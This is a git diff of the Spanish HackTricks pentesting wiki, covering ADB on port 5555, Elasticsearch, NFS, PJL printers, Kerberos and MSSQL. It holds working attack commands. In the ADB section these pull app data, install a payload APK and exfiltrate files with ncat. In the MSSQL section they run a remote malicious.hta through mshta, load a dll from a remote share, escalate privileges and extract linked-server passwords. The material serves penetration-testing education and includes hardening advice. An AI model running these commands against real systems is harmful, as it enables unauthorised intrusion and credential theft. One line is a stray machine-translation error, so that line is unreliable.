+ +Ejemplo de huella dactilar de nmap: ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` ## Conectar -Si encuentras el servicio ADB ejecutándose en un puerto de un dispositivo y puedes conectarte a él, **puedes obtener un shell dentro del sistema:** +Si encuentras ADB expuesto y accesible, intenta conectarte y enumerar rápidamente: ```bash -adb connect 10.10.10.10 -adb root # Try to escalate to root -adb shell +adb connect [:] # Default is 5555 for classic mode +adb devices -l # Confirm it shows as "device" (not unauthorized/offline) +adb shell # Get an interactive shell (uid usually shell) +whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port +adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` -Para más comandos de ADB, consulta la siguiente página: +- Si el dispositivo impone autenticación ADB (ro.adb.secure=1), necesitarás estar preautorizado (autenticación USB RSA) o usar el emparejamiento de depuración inalámbrica de Android 11+ (que requiere un código único mostrado en el dispositivo). +- Algunas imágenes de proveedores, compilaciones de ingeniería/userdebug, emuladores, TVs, STBs y kits de desarrollo exponen adbd sin autenticación o con adbd ejecutándose como root. En esos casos, normalmente accederás directamente a un shell o shell root. + +Para una referencia general de comandos ADB, consulta: {{#ref}} ../mobile-pentesting/android-app-pentesting/adb-commands.md {{#endref}} -### Volcar datos de la aplicación +## Rápida Post-Explotación -Para descargar completamente los datos de una aplicación, puedes: +Una vez que tengas shell, valida privilegios y contexto SELinux: ```bash -# From a root console -chmod 777 /data/data/com.package -cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. -adb pull "/sdcard/com.package" +id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint ``` -Puedes usar este truco para **recuperar información sensible como contraseñas de chrome**. Para más información sobre esto, consulta la información y referencias proporcionadas [**aquí**](https://github.com/carlospolop/hacktricks/issues/274). +### Enumerar y capturar datos + +- Lista de aplicaciones de terceros y rutas: +```bash +pm list packages -3 +pm path +``` +- Si tienes root (adb root o su funcionan), puedes acceder a /data directamente. Si no, prefiere run-as para aplicaciones depurables: +```bash +# Sin root, para una aplicación depurable +run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ + +# Con root +cp -a /data/data/ /sdcard/ +exit +adb pull "/sdcard/" +``` +- Artefactos del sistema útiles (se requiere root): +- /data/system/users/0/accounts.db y datos relacionados de AccountManager +- /data/misc/wifi/ (configuraciones/keys de red en versiones anteriores) +- Bases de datos SQLite específicas de la aplicación y shared_prefs bajo /data/data/ + +Puedes usar esto para recuperar información sensible (por ejemplo, secretos de la aplicación). Para notas sobre consideraciones de datos de Chrome, consulta el problema referenciado [aquí](https://github.com/carlospolop/hacktricks/issues/274). + +### Ejecución de código y entrega de payload + +- Instalar y otorgar permisos de ejecución automáticamente: +```bash +adb install -r -g payload.apk # -g otorga todos los permisos de ejecución declarados en el manifiesto +adb shell monkey -p -c android.intent.category.LAUNCHER 1 +``` +- Iniciar actividades/servicios/broadcasts directamente: +```bash +adb shell am start -n / +adb shell am startservice -n / +adb shell am broadcast -a +``` + +### Reenvío de puertos y pivoting + +Incluso sin root, adb puede reenviar puertos locales a puertos del dispositivo y viceversa. Esto es útil para acceder a servicios vinculados localmente en el dispositivo o para exponer servicios del atacante al dispositivo. + +- Reenviar host->dispositivo (acceder a un servicio local del dispositivo desde tu host): +```bash +adb forward tcp:2222 tcp:22 # Si el dispositivo ejecuta SSH (por ejemplo, Termux/Dropbear) +adb forward tcp:8081 tcp:8080 # Exponer el servidor de depuración local de la aplicación +``` +- Inverso dispositivo->host (dejar que el dispositivo acceda a un servicio en tu host): +```bash +adb reverse tcp:1080 tcp:1080 # Las aplicaciones del dispositivo ahora pueden alcanzar host:1080 como 127.0.0.1:1080 +``` +- Exfiltración de archivos a través de sockets (sin escrituras en sdcard): +```bash +# En el host: escuchar +ncat -lvp 9000 > dump.tar +# En el dispositivo: enviar directorio como tar (root o run-as según corresponda) +adb shell "tar cf - /data/data/" | ncat 9000 +``` + +## Depuración Inalámbrica (Android 11+) + +Android moderno implementa depuración inalámbrica protegida por TLS con emparejamiento del lado del dispositivo y descubrimiento mDNS: +```bash +# On the device: Developer options -> Wireless debugging -> Pair device with pairing code +# On attacker host (same L2 network, mDNS allowed): +adb pair : # Enter the 6-digit code shown on device +adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services +adb connect : +``` +Notas +- Los puertos son dinámicos; no asumas 5555. Los nombres de servicio mDNS son como: +- _adb-tls-pairing._tcp (emparejamiento) +- _adb-tls-connect._tcp (conexión emparejada) +- _adb._tcp (legado/plano) +- Si mDNS está filtrado, la habilitación clásica asistida por USB puede seguir funcionando en algunas versiones: `adb tcpip 5555` luego `adb connect :5555` (hasta el reinicio). + +Implicaciones ofensivas: si puedes interactuar con la interfaz de usuario del dispositivo (por ejemplo, acceso físico o mala configuración de MDM móvil) para habilitar la depuración inalámbrica y ver el código de emparejamiento, puedes establecer un canal ADB emparejado de larga duración sin un cable. Algunos OEM exponen ADB sobre TCP en imágenes de ingeniería/desarrollo sin emparejamiento—siempre verifica. + +## Fortalecimiento / Detección + +Los defensores deben asumir que cualquier adbd (TCP) accesible es un riesgo crítico. + +- Desactiva ADB y la depuración inalámbrica cuando no sea necesario. Revoca las autorizaciones de depuración USB en las opciones de desarrollador. +- Asegúrate de que la política de red bloquee TCP/5555 entrante y el descubrimiento ADB basado en mDNS en segmentos no confiables. +- En dispositivos bajo tu control: +```bash +settings put global adb_enabled 0 +setprop service.adb.tcp.port -1 # desactivar la escucha TCP (o usar: adb usb) +stop adbd; start adbd # reiniciar el daemon +``` +- Monitorea los registros mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` en redes corporativas y alerta sobre oyentes inesperados en 5555. +- Inventario para versiones inseguras: `getprop ro.debuggable`, `ro.build.type`, y `ro.adb.secure`. ## Shodan -- `android debug bridge` +- android debug bridge +- port:5555 product:"Android Debug Bridge" +## Referencias + +- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb +- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 2d85c6d3b..4b526b294 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -34,7 +34,7 @@ - Scripts de alerta - Soporte multiplataforma (Windows/Linux) - Las entradas scriptadas pueden ejecutar: -- Scripts Bash +- Scripts de Bash - Scripts de PowerShell - Scripts por lotes diff --git a/src/network-services-pentesting/9000-pentesting-fastcgi.md b/src/network-services-pentesting/9000-pentesting-fastcgi.md index 40e4be640..eae532a39 100644 --- a/src/network-services-pentesting/9000-pentesting-fastcgi.md +++ b/src/network-services-pentesting/9000-pentesting-fastcgi.md @@ -1,8 +1,10 @@ +# 9000 Pentesting FastCGI + {{#include ../banners/hacktricks-training.md}} -# Información Básica +## Información Básica -Si quieres **aprender qué es FastCGI**, consulta la siguiente página: +Si quieres **aprender qué es FastCGI** consulta la siguiente página: {{#ref}} pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -10,7 +12,7 @@ pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedi Por defecto, **FastCGI** se ejecuta en **el puerto** **9000** y no es reconocido por nmap. **Usualmente**, FastCGI solo escucha en **localhost**. -# RCE +## RCE Es bastante fácil hacer que FastCGI ejecute código arbitrario: ```bash diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index dcc62d395..046cc5e5e 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -1,6 +1,8 @@ +# 9100/tcp - PJL (Printer Job Language) + {{#include ../banners/hacktricks-training.md}} -# Información Básica +## Información Básica Desde [aquí](http://hacking-printers.net/wiki/index.php/Port_9100_printing): La impresión en bruto es lo que definimos como el proceso de hacer una conexión al puerto 9100/tcp de una impresora de red. Es el método predeterminado utilizado por CUPS y la arquitectura de impresión de Windows para comunicarse con impresoras de red, ya que se considera como ‘_el protocolo de red más simple, rápido y generalmente más confiable utilizado para impresoras_’. La impresión en bruto por el puerto 9100, también conocida como JetDirect, AppSocket o PDL-datastream, en realidad **no es un protocolo de impresión por sí mismo**. En cambio, **todos los datos enviados son procesados directamente por el dispositivo de impresión**, al igual que una conexión paralela a través de TCP. En contraste con LPD, IPP y SMB, esto puede enviar retroalimentación directa al cliente, incluyendo mensajes de estado y error. Tal **canal bidireccional** nos da **acceso** directo a los **resultados** de los comandos **PJL**, **PostScript** o **PCL**. Por lo tanto, la impresión en bruto por el puerto 9100 – que es compatible con casi cualquier impresora de red – se utiliza como el canal para el análisis de seguridad con PRET y PFT. @@ -10,9 +12,9 @@ Si deseas aprender más sobre [**hackear impresoras, lee esta página**](http:// ``` 9100/tcp open jetdirect ``` -# Enumeración +## Enumeración -## Manual +### Manual ```bash nc -vn 9100 @PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE @@ -29,7 +31,7 @@ nc -vn 9100 @PJL FSDOWNLOAD #Useful to download a file @PJL FSDELETE #Useful to delete a file ``` -## Automático +### Automático ```bash nmap -sV --script pjl-ready-message -p ``` @@ -48,11 +50,12 @@ msf> use auxiliary/scanner/printer/printer_delete_file Esta es la herramienta que quieres usar para abusar de impresoras: + {{#ref}} https://github.com/RUB-NDS/PRET {{#endref}} -# **Shodan** +## **Shodan** - `pjl port:9100` diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index d3df4e4f2..f56c42079 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,7 +4,7 @@ ## Información básica -Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente conocido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats. +Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente referido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats. ### ¿Qué es un índice de Elasticsearch? @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Eso significa que la autenticación está configurada y **necesitas credenciales válidas** para obtener información de Elasticsearch. Luego, puedes [**intentar forzarla**](../generic-hacking/brute-force.md#elasticsearch) (utiliza autenticación básica HTTP, por lo que cualquier cosa que pueda forzar la autenticación básica HTTP se puede usar).\ +Eso significa que la autenticación está configurada y **necesitas credenciales válidas** para obtener cualquier información de Elasticsearch. Luego, puedes [**intentar forzarla**](../generic-hacking/brute-force.md#elasticsearch) (utiliza autenticación básica HTTP, por lo que cualquier cosa que pueda forzar la autenticación básica HTTP se puede usar).\ Aquí tienes una **lista de nombres de usuario predeterminados**: _**elastic** (superusuario), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Las versiones más antiguas de Elasticsearch tienen la contraseña predeterminada **changeme** para este usuario. ``` curl -X GET http://user:password@IP:9200/ @@ -112,7 +112,7 @@ Si deseas **volcar todo el contenido** de un índice puedes acceder a: `http://h _Tómate un momento para comparar el contenido de cada documento (entrada) dentro del índice bank y los campos de este índice que vimos en la sección anterior._ -Así que, en este punto, puedes notar que **hay un campo llamado "total" dentro de "hits"** que indica que **se encontraron 1000 documentos** dentro de este índice pero solo se recuperaron 10. Esto se debe a que **por defecto hay un límite de 10 documentos**.\ +Así que, en este punto puedes notar que **hay un campo llamado "total" dentro de "hits"** que indica que **se encontraron 1000 documentos** dentro de este índice pero solo se recuperaron 10. Esto se debe a que **por defecto hay un límite de 10 documentos**.\ Pero, ahora que sabes que **este índice contiene 1000 documentos**, puedes **volcar todos ellos** indicando el número de entradas que deseas volcar en el parámetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ \_Nota: Si indicas un número mayor, todas las entradas se volcarán de todos modos, por ejemplo, podrías indicar `size=9999` y sería extraño si hubiera más entradas (pero deberías verificar)._ @@ -129,7 +129,7 @@ Si estás buscando alguna información, puedes hacer una **búsqueda en bruto en Si solo deseas **buscar en un índice** puedes **especificarlo** en la **ruta**: `http://host:9200//_search?pretty=true&q=` -_Nota que el parámetro q utilizado para buscar contenido **soporta expresiones regulares**_ +_Ten en cuenta que el parámetro q utilizado para buscar contenido **soporta expresiones regulares**_ También puedes usar algo como [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) para hacer fuzzing a un servicio de elasticsearch. diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 2f50496e9..a781ac5a8 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -12,15 +12,15 @@ ``` ### Autenticación -Un aspecto notable de este protocolo es su habitual falta de mecanismos de **autenticación** o **autorización** integrados. En su lugar, la autorización se basa en la **información del sistema de archivos**, con el servidor encargado de traducir con precisión la **información del usuario proporcionada por el cliente** al **formato de autorización** requerido por el sistema de archivos, siguiendo principalmente la **sintaxis de UNIX**. +Un aspecto notable de este protocolo es su habitual falta de mecanismos de **autenticación** o **autorización** integrados. En cambio, la autorización se basa en la **información del sistema de archivos**, con el servidor encargado de traducir con precisión la **información del usuario proporcionada por el cliente** al **formato de autorización** requerido por el sistema de archivos, siguiendo principalmente la **sintaxis de UNIX**. -La autenticación comúnmente se basa en **identificadores `UID`/`GID` de UNIX y membresías de grupo**. Sin embargo, surge un desafío debido a la posible discrepancia en los **mapeos de `UID`/`GID`** entre clientes y servidores, dejando sin espacio para una verificación adicional por parte del servidor. Además, estos detalles son enviados por el cliente y son confiables por el servidor, por lo que un cliente malintencionado podría potencialmente **suplantar a otro usuario enviando `uid` y `gid` más privilegiados**. +La autenticación comúnmente se basa en **identificadores `UID`/`GID` de UNIX y membresías de grupo**. Sin embargo, surge un desafío debido a la posible discrepancia en los **mapeos de `UID`/`GID`** entre clientes y servidores, dejando sin posibilidad de verificación adicional por parte del servidor. Además, estos detalles son enviados por el cliente y son confiables para el servidor, por lo que un cliente malintencionado podría potencialmente **suplantar a otro usuario enviando `uid` y `gid` más privilegiados. -**Sin embargo, tenga en cuenta que por defecto no es posible suplantar el `UID` 0 (root) usando NFS. Más sobre esto en la sección de squashing.** +**Sin embargo, ten en cuenta que por defecto no es posible suplantar el `UID` 0 (root) usando NFS. Más sobre esto en la sección de squashing.** #### Hosts -Para una mejor (o alguna) autorización, puede especificar los **hosts** que pueden acceder al recurso compartido de NFS. Esto se puede hacer en el archivo `/etc/exports` de Linux. Por ejemplo: +Para una mejor (o alguna) autorización, puedes especificar los **hosts** que pueden acceder al recurso compartido de NFS. Esto se puede hacer en el archivo `/etc/exports` de Linux. Por ejemplo: ``` /PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... /media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) @@ -33,7 +33,7 @@ Como puedes ver, permite configurar una **IP** o **nombre de host** específico - **NFSv3**: Introducida con una serie de mejoras, NFSv3 se expandió sobre su predecesora al soportar tamaños de archivo variables y ofrecer mecanismos de reporte de errores mejorados. A pesar de sus avances, enfrentó limitaciones en la compatibilidad total hacia atrás con clientes NFSv2. -- **NFSv4**: Una versión histórica en la serie NFS, NFSv4 trajo consigo un conjunto de características diseñadas para modernizar el intercambio de archivos a través de redes. Las mejoras notables incluyen la integración de Kerberos para **alta seguridad**, la capacidad de atravesar firewalls y operar a través de Internet sin necesidad de portmappers, soporte para Listas de Control de Acceso (ACLs) y la introducción de operaciones basadas en estado. Sus mejoras de rendimiento y la adopción de un protocolo con estado distinguen a NFSv4 como un avance fundamental en las tecnologías de intercambio de archivos en red. +- **NFSv4**: Una versión histórica en la serie NFS, NFSv4 trajo consigo un conjunto de características diseñadas para modernizar el intercambio de archivos a través de redes. Las mejoras notables incluyen la integración de Kerberos para **alta seguridad**, la capacidad de atravesar firewalls y operar a través de Internet sin necesidad de portmappers, soporte para Listas de Control de Acceso (ACLs), y la introducción de operaciones basadas en estado. Sus mejoras de rendimiento y la adopción de un protocolo con estado distinguen a NFSv4 como un avance fundamental en las tecnologías de intercambio de archivos en red. - Ten en cuenta que es muy raro encontrar un host Linux NFS que soporte autenticación kerberos. Cada versión de NFS ha sido desarrollada con la intención de abordar las necesidades en evolución de los entornos de red, mejorando progresivamente la seguridad, compatibilidad y rendimiento. @@ -43,14 +43,14 @@ Cada versión de NFS ha sido desarrollada con la intención de abordar las neces Como se mencionó anteriormente, NFS generalmente confiará en el `uid` y `gid` del cliente para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para **cambiar este comportamiento**: - **all_squash**: Aplana todos los accesos mapeando a cada usuario y grupo a **`nobody`** (65534 sin signo / -2 con signo). Por lo tanto, todos son `nobody` y no se utilizan usuarios. -- **root_squash/no_all_squash**: Esto es predeterminado en Linux y **solo aplana el acceso con uid 0 (root)**. Por lo tanto, cualquier `UID` y `GID` son confiables, pero `0` se aplana a `nobody` (por lo que no es posible la suplantación de root). +- **root_squash/no_all_squash**: Este es el valor predeterminado en Linux y **solo aplana el acceso con uid 0 (root)**. Por lo tanto, cualquier `UID` y `GID` son confiables, pero `0` se aplana a `nobody` (por lo que no es posible la suplantación de root). - **no_root_squash**: Esta configuración, si se habilita, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root. ### Subtree check Solo disponible en Linux. man(5) exports dice: "Si un subdirectorio de un sistema de archivos se exporta, pero el sistema de archivos completo no, entonces cada vez que llega una solicitud NFS, el servidor debe verificar no solo que el archivo accedido esté en el sistema de archivos apropiado (lo cual es fácil), sino también que esté en el árbol exportado (lo cual es más difícil). Esta verificación se llama la verificación de subárbol." -En Linux, la **función `subtree_check` está deshabilitada** por defecto. +En Linux, la **característica `subtree_check` está deshabilitada** por defecto. ## Enumeración @@ -87,7 +87,7 @@ Luego móntalo usando: ```bash mount -t nfs [-o vers=2] : -o nolock ``` -Deberías especificar **usar la versión 2** porque no tiene **ninguna** **autenticación** o **autorización**. +Deberías especificar **usar la versión 2** porque no tiene **ninguna** **autenticación** ni **autorización**. **Ejemplo:** ```bash @@ -119,7 +119,7 @@ Por lo tanto, si una exportación está exportando una carpeta que es una **subc Por ejemplo, si un servidor NFS está exportando `/srv/` y `/var/` está en el mismo sistema de archivos, es posible leer registros de `/var/log/` o almacenar un webshell en `/var/www/`. -Además, ten en cuenta que por defecto solo el usuario root (0) está protegido de ser suplantado (consulta la sección Squash). Sin embargo, si un archivo es **propiedad de root pero el grupo no es 0, es posible acceder a él**. Por ejemplo, el archivo `/etc/shadow` es propiedad de root pero el grupo es `shadow` (gid 42 en Debian). ¡Por lo tanto, es posible leerlo por defecto! +Además, ten en cuenta que por defecto solo el usuario root (0) está protegido de ser suplantado (consulta la sección de Squash). Sin embargo, si un archivo es **propiedad de root pero el grupo no es 0, es posible acceder a él**. Por ejemplo, el archivo `/etc/shadow` es propiedad de root pero el grupo es `shadow` (gid 42 en Debian). ¡Por lo tanto, es posible leerlo por defecto! La herramienta **`nfs_analyze`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) está diseñada para soportar este ataque contra los sistemas de archivos ext4, xfs, btrfs en la versión 3 (también debería ser posible en v4). diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 00ae87acc..830e5389b 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -1,14 +1,17 @@ +# # 2301/tcp - Pentesting Compaq/HP Insight Manager + {{#include ../banners/hacktricks-training.md}} **Puerto por defecto:** 2301,2381 -# **Contraseñas por defecto** +## Contraseñas por defecto + {{#ref}} http://www.vulnerabilityassessment.co.uk/passwordsC.htm {{#endref}} -# Archivos de configuración +## Archivos de configuración ```text path.properties mx.log diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index d154c7705..74aa0749b 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -8,7 +8,7 @@ En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios al validar sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario se confirme antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, lo cual es un primer paso crítico en el proceso de seguridad. -Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones sobre el acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas. +Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones respecto al acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas. **Puerto por Defecto:** 88/tcp/udp ``` @@ -27,6 +27,7 @@ PORT STATE SERVICE La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta reclamación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de la red en todo el bosque de Active Directory. + {{#ref}} https://adsecurity.org/?p=541 {{#endref}} diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index a6e5f6b69..a0a541773 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -29,8 +29,8 @@ Si no sabes nada sobre el servicio: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` -> [!NOTE] -> Si **no tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente. +> [!TIP] +> Si **no tienes** **credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente. #### Metasploit (necesita credenciales) ```bash @@ -131,6 +131,7 @@ use_link [NAME] ``` #### Obtener Usuario + {{#ref}} types-of-mssql-users.md {{#endref}} @@ -234,7 +235,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` -### Obtener contraseñas hashadas +### Obtener contraseñas hash ```bash SELECT * FROM master.sys.syslogins; ``` @@ -280,7 +281,7 @@ Puedes ver cómo usar estas herramientas en: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### Abusando de los enlaces de confianza de MSSQL +### Abusando de los Enlaces de confianza de MSSQL [**Lee esta publicación**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar más información sobre cómo abusar de esta función:** @@ -310,7 +311,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Leer archivo con** OPENROWSET -Por defecto, `MSSQL` permite la **lectura de archivos en cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura**. Podemos usar la siguiente consulta SQL: +Por defecto, `MSSQL` permite la lectura de archivos **en cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura**. Podemos usar la siguiente consulta SQL: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -374,9 +375,9 @@ Para **más ejemplos** consulta la [**fuente original**](https://blog.waynesheff ### RCE con la función definida por el usuario de MSSQL - SQLHttp -Es posible **cargar un dll de .NET dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`**, por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**. +Es posible **cargar un dll de .NET dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**. -[**Sigue este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo. +[**Siguiendo este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo. ### RCE con `autoadmin_task_agents` @@ -384,7 +385,7 @@ Según [**esta publicación**](https://exploit7-tr.translate.goog/posts/sqlserve ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -Con: +Lo siento, pero no hay contenido proporcionado para traducir. Por favor, proporciona el texto que deseas traducir. ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -476,7 +477,7 @@ EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` -Puedes usar un **metasploit** módulo: +Puedes usar un módulo de **metasploit**: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` @@ -488,7 +489,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ``` ### Suplantación de otros usuarios -SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar los permisos de otro usuario** o inicio de sesión hasta que el contexto se restablezca o la sesión termine. +SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar las permisos de otro usuario** o inicio de sesión hasta que el contexto se restablezca o la sesión termine. ```sql # Find users you can impersonate SELECT distinct b.name @@ -508,8 +509,8 @@ enum_links # If there is a link of interest, re-run the above steps on each link use_link [NAME] ``` -> [!NOTE] -> Si puedes suplantar a un usuario, incluso si no es sysadmin, debes verificar **si el usuario tiene acceso** a otras **bases de datos** o servidores vinculados. +> [!TIP] +> Si puedes suplantar a un usuario, incluso si no es sysadmin, deberías verificar **si el usuario tiene acceso** a otras **bases de datos** o servidores vinculados. Ten en cuenta que una vez que eres sysadmin, puedes suplantar a cualquier otro: ```sql @@ -539,7 +540,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y desencriptar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que nada, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. +Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que todo, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes: @@ -558,10 +559,12 @@ Para más información, consulta los siguientes enlaces 